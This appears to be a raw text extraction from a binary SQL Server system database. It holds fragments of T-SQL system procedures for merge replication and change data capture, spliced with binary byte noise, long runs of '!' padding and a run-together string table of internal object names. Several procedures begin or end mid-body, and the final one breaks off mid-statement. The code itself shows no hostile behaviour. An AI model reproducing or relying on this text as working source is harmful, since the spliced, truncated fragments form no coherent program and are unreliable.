        print '*************'
        */
        select
            TABLE_CAT   = TABLE_CATALOG,
            TABLE_SCHEM = TABLE_SCHEMA,
            TABLE_NAME  = TABLE_NAME,
            TABLE_TYPE  = TABLE_TYPE,
            REMARKS     = convert(nvarchar(255),DESCRIPTION)
        from
            sys.fn_remote_tables(@table_server,
                                 @table_catalog,
                                 NULL,
                                 NULL,
                                 NULL)
        where
            (TABLE_SCHEMA like @table_schema or
             @table_schema is NULL or
             (TABLE_SCHEMA is NULL and @table_schema = N'%')) and
            (TABLE_CATALOG like @table_catalog or
             @table_catalog is NULL or
             (TABLE_CATALOG is NULL and @table_catalog = N'%')) and
            (charindex ('' + TABLE_TYPE + '', @table_type) <> 0 or @table_type is NULL) and
            (TABLE_NAME like @table_name or
             @table_name is NULL)
        order by 4, 1, 2, 3
    end
0j8V@ T8
/*
  *  This proc is called on subscriber when the merge agent wants to do
  * consolidation of generations. This proc checks of the last sync failed.
  * If the last sync failed then the merge agent does not do consolidation.
  * This procs checks for any generations with genstatus of 4 in the genshistory
  * table to make this determination.  
*/
create procedure sys.sp_MScheckfailedprevioussync
    @pubid uniqueidentifier,
    @last_sync_failed bit output
as

    declare @retcode int

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0) or (@@error <> 0)
        return 1

	if exists(select * from dbo.MSmerge_genhistory mgh JOIN dbo.sysmergearticles sma
				ON mgh.art_nick = sma.nickname
				where mgh.genstatus = 4 and 
					(sma.pubid = @pubid or mgh.art_nick = 0))
	begin
		select @last_sync_failed = 1
	end
	else
	begin
		select @last_sync_failed = 0
	end

    return 0
-
    exec @retcode = [sys].[sp_MScdc_job_security_check]
    if @retcode <> 0 or @@error <> 0
        return(1)
        
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
        
	set @job_type = rtrim(ltrim(lower(@job_type)))
        
    -- Verify parameter
    if @job_type not in (N'capture', N'cleanup')
    begin
        raiserror(22992, 16, -1, @job_type)
        return(1)
    end
   
	-- Call internal stored procedure to complete verification and update job attributes
	exec @retcode = sys.sp_cdc_change_job_internal
		@job_type,
		@maxtrans,
		@maxscans,
		@continuous,
		@pollinginterval,
		@retention,
		@threshold
		
	if @@error <> 0 or @retcode <> 0
		return 1
		
	return 0		
end
0ta 8
create procedure sys.sp_MSreleasemakegenerationapplock
    as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1
    
    select @retcode = 0
    select @lock_resource = N'MSinternal_makegeneration_inprogress' + 
                convert(nvarchar(11), db_id())
                
    if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
        select @DbPrincipal = N'MSmerge_PAL_role'
    else
        select @DbPrincipal = N'db_owner'
                
       exec @retcode = sp_releaseapplock @Resource = @lock_resource, @LockOwner = N'Session', @DbPrincipal = @DbPrincipal
       if @@error <> 0 or @retcode < 0
        return (1)    
    else
        return (0)
                
0[a@ D8?Bh
50
0LfZ@ {8
create procedure sys.sp_MSdeleteretry 
    (@temptable nvarchar(386),
     @tablenick int,
     @rowguid uniqueidentifier)
as
    declare @guidstr nvarchar(38)
    declare @nickstr nvarchar(12)
    declare @retcode int

    declare @quotedtemptable nvarchar(388)

    /*
    ** do permission checking
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if @retcode<>0 or @@ERROR<>0 return (1)

    /*
    ** Modify temp table, granted to public.
    */
    
    set @nickstr = convert(nchar, @tablenick)
    set @guidstr = '''' + convert(nchar(36), @rowguid) + ''''

    select @quotedtemptable = quotename(@temptable)

    execute ('delete from ' + @quotedtemptable + ' where tablenick = ' +
              @nickstr + ' and rowguidcol = ' + @guidstr)
    IF @@ERROR <>0 RETURN (1)
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`<x	H
1&

				end
		
				if object_id (@fn_net_changes, 'IF') is not null
				begin
					set @action = N'drop function fn_cdc_get_net_changes_<capture_instance>' 
					set @stmt = N'drop function ' + @fn_net_changes
					exec (@stmt)
				end
		
				-- Generate the enumeration functions.
				set @action = N'sp_cdc_create_change_enumeration_functions' 
				exec [sys].[sp_cdc_create_change_enumeration_functions]
	 				@source_schema, @source_name, @capture_instance, @supports_net_changes

				-- Grant select permission on the enumeration functions.
				set @action = N'sp_cdc_grant_select_on_change_enumeration_functions' 
				exec [sys].[sp_cdc_grant_select_on_change_enumeration_functions]
					@capture_instance, @supports_net_changes, @role_name
					
				-- Drop the change table non-clustered index if it exists and then recreate it 
				if (@supports_net_changes = 1)
				begin

					if exists (select * from sys.indexes where object_id = object_id(@change_table) and quotename(name) = @index_name)
					begin
						set @action = N'drop non-clustered change table index'
						set @stmt = N'drop index ' + @index_name + N' on ' + @change_table
						exec (@stmt)
					end	
								
					set @pk_column_list = N' '
					
					delete #index_column_names
		
					insert into #index_column_names
					select column_name, index_ordinal
					from [cdc].[index_columns] where object_id = object_id(@change_table)

   					declare #hidxcolumns cursor local fast_forward for
						select column_name
						from #index_column_names 
						order by index_ordinal
		
					open #hidxcolumns
					fetch #hidxcolumns into @column_name
	
					while (@@fetch_status <> -1)
					begin
						set @pk_column_list = @pk_column_list + quotename(@column_name) +  N' ASC, ' 

						fetch #hidxcolumns into @column_name
					end
	
					close #hidxcolumns
					deallocate #hidxcolumns
	
					set @action = N'create unique nonclustered index for change table'
					set @stmt =  N'create unique nonclustered index ' + 
						quotename(@capture_instance + N'_CT_idx') +
						N' on ' + @change_table + N'
						( '  + @pk_column_list + N'
							[__$seqval] ASC,
							[__$operation] ASC
						) INCLUDE ( [__$start_lsn], [__$update_mask] )'	 	
	
					exec (@stmt)
				end

				if (@bypass_proc_gen = 0)
				begin
					-- Alter the stored procedures to populate the change table
					-- and mark them as system procs
					set @action = N'sp_cdc_create_populate_stored_procs'
					exec [sys].[sp_cdc_create_populate_stored_procs]
						@capture_instance, N'alter' 
				end	
				
				-- Mark change table as a system object
				set @action = N'sp_MS_marksystemobject @change_table'
				exec sp_MS_marksystemobject @change_table

				fetch #hinstance into @source_schema, @source_name, @capture_instance,
					@supports_net_changes, @role_name
			end		

			close #hinstance
			deallocate #hinstance
		
		end

		if object_id(N'[cdc].[lsn_time_mapping]') is not null
		begin
			if not exists (select * from sys.columns where object_id = object_id(N'[cdc].[lsn_time_mapping]') and name = N'tran_begin_lsn')
			begin

				set @action = N'add column tran_begin_lsn'
				alter table [cdc].[lsn_time_mapping] add tran_begin_lsn binary(10) null

				set @action = N'upgrade/create procs for lsn_time_mapping'
				exec [sys].[sp_cdc_lsn_time_mapping_procs] @action = N'alter'
				
			end
		end
		
		-- Mark CDC tables as system objects
		set @action = N'sp_MS_marksystemobject cdc.change_tables'
 		exec sp_MS_marksystemobject N'cdc.change_tables'

		set @action = N'sp_MS_marksystemobject cdc.ddl_history'
		exec sp_MS_marksystemobject N'cdc.ddl_history'

		set @action = N'sp_MS_marksystemobject cdc.captured_columns'
		exec sp_MS_marksystemobject N'cdc.captured_columns'

		set @action = N'sp_MS_marksystemobject cdc.index_columns'
		exec sp_MS_marksystemobject N'cdc.index_columns'
		
		set @action = N'sp_MS_marksystemobject dbo.systranschemas'
		exec sp_MS_marksystemobject N'dbo.systranschemas'
		
		set @action = N'sp_MS_marksystemobject cdc.lsn_time_mapping'
		exec sp_MS_marksystemobject N'cdc.lsn_time_mapping'
		
		set @action = N'sp_MS_marksystemobject cdc.[fn_cdc_get_all_changes_...]'
		exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_all_changes_...]'
		
		set @action = N'sp_MS_marksystemobject cdc.[fn_cdc_get_net_changes_...]'
		exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_net_changes_...]'
		
		set @action = N'sp_MS_marksystemobject cdc.[fn_cdc_get_all_changes_ ... ]'
		exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_all_changes_ ... ]'
		
		set @action = N'sp_MS_marksystemobject cdc.[fn_cdc_get_net_changes_ ... ]'
		exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_net_changes_ ... ]'

		commit tran


	end try
	begin catch
    
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran tr_cdc_vupgrade
				commit tran
			end
		end
     
		-- Save the error number and associated message raised in the TRY block
		select @raised_error = ERROR_NUMBER()
		select @raised_message = N'line ' + cast(ERROR_LINE() as nvarchar) + N', state ' + cast(ERROR_STATE() as nvarchar) + N', ' + ERROR_MESSAGE() 
	end catch
	
	if @raised_error = 0
		return (0)
		
	raiserror(22841, 16, -1, @db_name, @action, @raised_error, @raised_message)  
	return (1)

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<^I
5P@0U,7ted_columnsdatabase_mirroring_endpointsm_clr_loaded_assembliesdb_missing_index_columnsexec_describe_first_result_set_for_objectfts_fdhostshadr_database_replica_cluster_stateslogconsumer_cachebufferrefsos_memory_broker_clerkssublatchespdw_errorsnodes_exec_requestsos_memory_nodestran_commit_tablerepl_articlestran_current_transactionfn_cdc_capture_instance_existshas_column_changedonvertnumericlsntobinary10get_audit_fileIHPublicationIsTransactionalMSmerge_getqualifiedobjnamexe_read_event_streamremote_schemataplgenerateshorterfilenameprefixmakestringliteralvarbintointvarbintohexsubstringulltext_thesaurus_filesidentity_columnsnumbered_procedures$pdw_diag_eventsQueryNotificationErrorsQueueSCHEMATAerver_permissionsices$p_adddistpublisherqueued_artinforticlecolumnbindefaultcdc_change_job_internaldisable_table_instanceget_job_parametersverify_role_namehangelogreader_agenteck_log_shipping_monitor_alertolumn_privileges_rowset_rmtnfigure_peerconflictdetectionursordb_vardecimal_storage_formatelete_http_namespace_reservationistagentstatusropmergepullsubscriptionenableagentoffloadflush_commit_tableulltext_semantic_unregister_language_statistics_db_internalgetOraclepackageversionhadr_validate_replica_hosts_as_publisherselp_log_shipping_monitorspatial_index_internal_autologinsserverttp_generate_wsdl_defaultsimpleorcomplexIHget_loopback_detectionscriptreconwhereclausendexes_rowset2mergesubscription_cleanupSadd_distributor_alerts_and_responsesrepl_job_unsafeoffloadparameterrticlecolstatuschange_originatorideck_palroleinpubdbleanup_publication_ADinforeate_pub_tablesdetectinvalidpeersubscriptionrop_distribution_agentTriggerProcsenum_merge_subscriptions_90_publishererate_PALfixupdistributorinfoget_jobstatesession_statisticsmergelastupdatedtimehelp_identity_propertyobjectpublicationsisallreplcolpkLockMatchIDmerge_create_pub_tableupdatelastsyncinfoprocesslogshippingjobublication_validationreleaseMergeUpgradeSubscriberAppLockpl_addsubscriptioncheck_publisherdroppublicationlinkedservers_rowsetscriptpublicationcustomprocsagentjobexistsstore_sub_mergescript_endtrigtrigger_exec_rpcpeerconflictdetection_customprocsetcontext_replagentub_set_identityunmarkschemaobjectpgradeConflictTableORAChangeTableSpacemarksubscriptionvalidationprepexecrpcocesslogshippingmonitorprimaryrefreshsubscriptionsplddlparsermonitorhelppublishersetoriginator_internalsyncexecutesqlscriptdelproccorevupdprocetSDSPublicInterfaceObjecttartmergepushsubscription_agentyspolicy_unsubscribe_from_policy_categorytablecollationsrace_createupgrade_log_shippingvalidlangupgrade_subscription_databasest_column_privileges_owner_viewprocedures_systemql_expression_dependencies$yschildinstsftstopsopentapesrmtlgnstem_parameterstable_typesxp_cmdshellmsver@&.$@dtu@)$25
ISW@]
cp
	
)+DX
Z@gi$'5:;<=
?LZ
fpqt)./ Jjx;(/23Gbh(n@ />?@Qc|@!	
+?CUgu"&:Vdstyz!@	&		(	1	O	Q	c		e	n									)	!
"
0
;
@O
P
X
@v
x


@


	m

	






@

r4@
J??@&x?A/S@YJ?W'I@o0w@4@(@xB[@
.Ix.Iif object_id('sp_MSadjustgenerations','P') is not NULL
        drop procedure sp_MSadjustgenerations 

[>[procfailed = 0
    
    SET DEADLOCK_PRIORITY NORMAL

EXIT_RELEASE_TRAN:
    if (@procfailed = 1)
    begin
        rollback tran sp_MSmakegeneration
        commit tran
        return 1
    end


EXIT_PROC:
    if (@procfailed = 1)
        return (1)    
    else
        return (0)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! `<(J
39=uv.Icreate procedure sys.sp_MSdrop_rlcore
as

    if object_id('sp_MSguidtostr','P') is not NULL
        drop procedure sys.sp_MSguidtostr

    if object_id('sp_MShelpdestowner','P') is not NULL
        drop procedure sys.sp_MShelpdestowner

    if object_id('sp_MSchangeobjectowner','P') is not NULL
        drop procedure sys.sp_MSchangeobjectowner

    if object_id('sp_MSgetcolumnlist','P') is not NULL
        drop procedure sys.sp_MSgetcolumnlist

    if object_id('sp_MSgetconflicttablename','P') is not NULL
        drop procedure sys.sp_MSgetconflicttablename

    if object_id('sp_MSuniquetempname','P') is not NULL
        drop procedure sys.sp_MSuniquetempname

    if object_id('sp_MSuniqueobjectname','P') is not NULL
        drop procedure sys.sp_MSuniqueobjectname
 
    if object_id('sp_MSfillupmissingcols','P') is not NULL
        drop procedure sys.sp_MSfillupmissingcols

    if object_id('sp_MSaddguidcolumn','P') is not NULL
        drop procedure sys.sp_MSaddguidcolumn

    if object_id('sp_MSdropguidcolumn','P') is not NULL
        drop procedure sys.sp_MSdropguidcolumn
        
    if object_id('sp_MSprepare_mergearticle','P') is not NULL
        drop procedure sys.sp_MSprepare_mergearticle

    if object_id('sp_MSuniquecolname','P') is not NULL
        drop procedure sys.sp_MSuniquecolname

    if object_id('sp_MSaddguidindex','P') is not NULL
        drop procedure sys.sp_MSaddguidindex

    if object_id('sp_MSrefcnt','P') is not NULL
        drop procedure sys.sp_MSrefcnt
    
    if object_id('sp_MSgentablenickname','P') is not NULL
        drop procedure sys.sp_MSgentablenickname
    
    if object_id('sp_MStablenickname','P') is not NULL
        drop procedure sys.sp_MStablenickname
    
    if object_id('sp_MStablenamefromnick','P') is not NULL
        drop procedure sys.sp_MStablenamefromnick

    if object_id('sp_MSgetmakegenerationapplock','P') is not NULL
        drop procedure sys.sp_MSgetmakegenerationapplock

    if object_id('sp_MSgetmakegenerationapplock_90','P') is not NULL
        drop procedure sys.sp_MSgetmakegenerationapplock_90

    if object_id('sp_MSreleasemakegenerationapplock','P') is not NULL
        drop procedure sys.sp_MSreleasemakegenerationapplock
    
    if object_id('sp_MSmovegenzerochanges','P') is not NULL
        drop procedure sys.sp_MSmovegenzerochanges

    if object_id('sp_MSleveltombstone','P') is not NULL
        drop procedure sys.sp_MSleveltombstone

    if object_id('sp_MSlevelcontents','P') is not NULL
        drop procedure sys.sp_MSlevelcontents

    if object_id('sp_is_makegeneration_needed','P') is not NULL
        drop procedure sys.sp_is_makegeneration_needed

    if object_id('sp_MSmakegeneration','P') is not NULL
        drop procedure sys.sp_MSmakegeneration

    if object_id('sp_MSmakegenerationold','P') is not NULL
        drop procedure sys.sp_MSmakegenerationold

    if object_id('sp_MSfixlineageversions','P') is not NULL
        drop procedure sys.sp_MSfixlineageversions

    if object_id('sp_MSaddupdatetrigger','P') is not NULL
        drop procedure sys.sp_MSaddupdatetrigger

    if object_id('sp_MSaddmergetriggers','P') is not NULL
        drop procedure sys.sp_MSaddmergetriggers

    if object_id('sp_MSaddmergetriggers_internal','P') is not NULL
        drop procedure sys.sp_MSaddmergetriggers_internal
        
    if object_id('sp_MSaddmergetriggers_from_template','P') is not NULL
        drop procedure sys.sp_MSaddmergetriggers_from_template

    if object_id('sys.sp_MScreatedownloadonlytriggers', 'P') is not null
        drop procedure sys.sp_MScreatedownloadonlytriggers
        
    if object_id('sp_MSmaptype','P') is not NULL
        drop procedure sys.sp_MSmaptype 
        
    if object_id('sp_MSmap_subscriber_type','P') is not NULL
        drop procedure sys.sp_MSmap_subscriber_type 

    if object_id('sp_MSRecontructType','P') is not NULL
        drop procedure sys.sp_MSRecontructType 

    if object_id('sp_MSquerysubtype','P') is not NULL
        drop procedure sys.sp_MSquerysubtype 

    if object_id('sp_MSgetfiltercolumnlist','P') is not NULL
        drop procedure sys.sp_MSgetfiltercolumnlist 

    if object_id('sp_MSgenerateexpandproc','P') is not NULL
        drop procedure sys.sp_MSgenerateexpandproc 

    if object_id('sp_showrowreplicainfo','P') is not NULL
        drop procedure sys.sp_showrowreplicainfo

    if object_id('sp_showlineage','P') is not NULL
        drop procedure sys.sp_showlineage

    if object_id('sp_showcolv','P') is not NULL
        drop procedure sys.sp_showcolv

    if object_id('sp_MSsethighestversion','P') is not NULL
        drop procedure sys.sp_MSsethighestversion
    
    if object_id('sp_MSmark_expired_subscriptions','P') is not NULL
        drop procedure sys.sp_MSmark_expired_subscriptions
        
    if object_id('sp_MSexpire_dynamic_snapshots_affected_by_cleanup','P') is not NULL
        drop procedure sys.sp_MSexpire_dynamic_snapshots_affected_by_cleanup
    
    if object_id('sp_mergemetadataretentioncleanup','P') is not NULL
        drop procedure sys.sp_mergemetadataretentioncleanup
    
    if object_id('sp_MSmerge_subbased_downloadonly_metadatacleanup','P') is not NULL
        drop procedure sys.sp_MSmerge_subbased_downloadonly_metadatacleanup
    
    if object_id('sp_MSpurgecontentsorphans','P') is not NULL
        drop procedure sys.sp_MSpurgecontentsorphans
    
    if object_id('sp_MScleanup_zeroartnick_genhistory','P') is not NULL
        drop procedure sys.sp_MScleanup_zeroartnick_genhistory
    
    if object_id('sp_MSdelete_specifiedcontentsandtombstone','P') is not NULL
        drop procedure sys.sp_MSdelete_specifiedcontentsandtombstone

    if object_id('sys.fn_MSarticle_allows_DML_at_this_replica','FN') is not null
        drop function sys.fn_MSarticle_allows_DML_at_this_replica
    
    if object_id('sys.fn_MSmerge_nicknamefound','FN') is not null
        drop function sys.fn_MSmerge_nicknamefound

    if object_id('sp_MSlevelchanges','P') is not NULL
        drop procedure sys.sp_MSlevelchanges
    
    if object_id('sp_MSclosegeneration','P') is not NULL
        drop procedure sys.sp_MSclosegeneration
    
    if object_id('sp_MSset_timestamp_bm','P') is not NULL
        drop procedure sys.sp_MSset_timestamp_bm

    if object_id('sp_MSFixSubColumnBitmaps','P') is not NULL
        drop procedure sys.sp_MSFixSubColumnBitmaps
    
    if object_id('sp_MSFixPubColumnBitmaps','P') is not NULL
        drop procedure sys.sp_MSFixPubColumnBitmaps

    if object_id('sp_MSBitmapXOr','P') is not NULL
        drop procedure sys.sp_MSBitmapXOr
    
    if object_id('sp_MSBitmapCount','P') is not NULL
        drop procedure sys.sp_MSBitmapCount

    if object_id('sp_MSget_absolute_colid','P') is not NULL
        drop procedure sys.sp_MSget_absolute_colid

    if object_id('sp_MSconflicttableexists','P') is not NULL
        drop procedure sys.sp_MSconflicttableexists
    
    if object_id('sp_showpendingchanges','P') is not NULL
        drop procedure sys.sp_showpendingchanges

    if object_id('sp_MSmerge_getgencur','P') is not NULL
        drop procedure sys.sp_MSmerge_getgencur
        
    if object_id('sp_MSmerge_getgencur_public','P') is not NULL
        drop procedure sys.sp_MSmerge_getgencur_public

    if object_id('sp_MSget_open_gen','P') is not NULL
        drop procedure sys.sp_MSget_open_gen
        
    if object_id('sp_MSget_temp_closed_gen','P') is not NULL
        drop procedure sys.sp_MSget_temp_closed_gen
        
    if object_id('sp_MSmove_gen_rows','P') is not NULL
        drop procedure sys.sp_MSmove_gen_rows

    if object_id('sp_MSmerge_getgencount','P') is not NULL
        drop procedure sp_MSmerge_getgencount
    
    if object_id('sp_MSmerge_parsegenlist','P') is not NULL
        drop procedure sp_MSmerge_parsegenlist 

    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(K
A5tvKKcreate procedure sys.sp_MSleveltombstone
as
    declare @gen bigint
    declare @changes_in_gen int
    declare @tombstone_rows_moved int
    declare @contents_rows_moved int
    declare @min_changes_per_gen int
    declare @max_changes_per_gen int
    declare @median_changes_per_gen int
    declare @target_gen bigint
    declare @changes_in_target_gen int
    declare @error int
    declare @art_nick int
    declare @processing_order int
    declare @prev_processing_order int
    declare @prev_art_nick int
    declare @gen_change_threshold int
    declare @procfailed bit
    declare @changes_in_tombstone int
    declare @changes_in_contents int
    declare @replnick binary(6)
    declare @nickbin varbinary(255)
    declare @retcode int

    select @procfailed = 1
    select @retcode = 0
    
    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 goto EXIT_PROC

    -- add a guard byte
    set @nickbin= @replnick + 0xFF
    
    -- do leveling in a seperate transaction. We don't want to club leveling with closing of generations
    -- because we want contents leveling to happen in article order and tombstone leveling to happen in reverse
    -- article order. We can make the assumption that for a particular generation all the changes will either
    -- be in tombstone or contents. If not the triggers would have done the proper leveling anyways
    begin tran
    save tran sp_MSleveltombstone
    -- the code below levels generations which have a number of changes in tombstone
    select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
    order by processing_order desc, nickname desc
    while @art_nick is not null
    begin
        -- get the generation change threshold
        select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @art_nick)
        if @gen_change_threshold <= 0
            goto NextArticle
    
        select @min_changes_per_gen = @gen_change_threshold/10
        if (@min_changes_per_gen = 0)
            select @min_changes_per_gen = 1
        select @max_changes_per_gen = @gen_change_threshold * 2
        select @median_changes_per_gen = @gen_change_threshold


        -- now split the generations that have more than max allowed changes per gen for the artnick we are working on
        -- loop through each and every one of these generations and put the changes in generations that have a low changecount
        select @gen = NULL
        select top 1 @gen = generation, @changes_in_gen = changecount from dbo.MSmerge_genhistory with (rowlock, updlock)
            where genstatus = 3 and 
                  changecount > @max_changes_per_gen and 
                  art_nick = @art_nick
        while @gen is not NULL
        begin
            -- first make sure that the changecount in this generation is correct.
            select @changes_in_tombstone = count(*) from dbo.MSmerge_tombstone with (rowlock)
                where generation = @gen
            if @@error <> 0
            begin
                select @procfailed=1
                goto EXIT_RELEASE_TRAN
            end

            select @changes_in_contents = count(*) from dbo.MSmerge_contents with (rowlock)
                where generation = @gen
            if @@error <> 0
            begin
                select @procfailed=1
                goto EXIT_RELEASE_TRAN
            end
                            
            select @changes_in_gen = @changes_in_tombstone + @changes_in_contents

            -- in this loop we will only look at generations that have changes in tombstone
            if @changes_in_tombstone = 0
            begin
                -- here we will set the genstatus to a special value to indicate that we have already looked at
                -- this generation. Otherwise the generation loop will never make progress because there can 
                -- always be heavy generations that only have changes in contents
                -- At the end of this transaction we will set back this status to 0
                update dbo.MSmerge_genhistory with (rowlock)
                    set genstatus = 5, -- temporary status meaning this gen has been looked at
                        changecount = @changes_in_gen
                where generation = @gen
                goto NextGen
            end

            update dbo.MSmerge_genhistory with (rowlock)
                set changecount = @changes_in_gen
            where generation = @gen

            if @changes_in_gen <= @max_changes_per_gen
                goto NextGen
                
            -- now check if there are generations with lower than the min changes per gen we want. If so we will actually use these to
            -- level the changes of the heavy generations
            select @target_gen = NULL
            exec @retcode = sys.sp_MSget_temp_closed_gen @art_nick, @min_changes_per_gen, @nickbin, @target_gen output, @changes_in_target_gen output, 0
            if @@error<>0 or @retcode<>0 or @target_gen is NULL
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            update top (@median_changes_per_gen) dbo.MSmerge_tombstone with (rowlock)
                set generation = @target_gen 
                where generation = @gen and tablenick = @art_nick
            select @error = @@error, @tombstone_rows_moved = @@rowcount
            if @error<>0
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            -- here it is important to note that if the above update did affect any rows it should have mostly updated median
            -- number of rows. This is because triggers do leveling and the only way leveling did not happen is when a single
            -- ins/update/del statement was called which affect more than threshold number of rows. In that case
            -- trigger will just put all the changes in one generation. So it is more than likely that the changes in this
            -- heavy generation are either all in tombstone or all in contents.
            if @tombstone_rows_moved > 0
            begin
                update ppm set generation = @target_gen 
                from dbo.MSmerge_past_partition_mappings ppm inner join dbo.MSmerge_tombstone ts
                on ppm.tablenick = ts.tablenick
                and ppm.rowguid = ts.rowguid
                and ts.generation = @target_gen
                and ppm.generation = @gen
                and ppm.tablenick = @art_nick
                and ts.tablenick = @art_nick
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                select @changes_in_gen = @changes_in_gen - @tombstone_rows_moved
                select @changes_in_target_gen = @changes_in_target_gen + @tombstone_rows_moved
            end

            update dbo.MSmerge_genhistory with (rowlock) 
                set changecount = @changes_in_gen where generation = @gen
            if @@error<>0
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end
            
            update dbo.MSmerge_genhistory with (rowlock) 
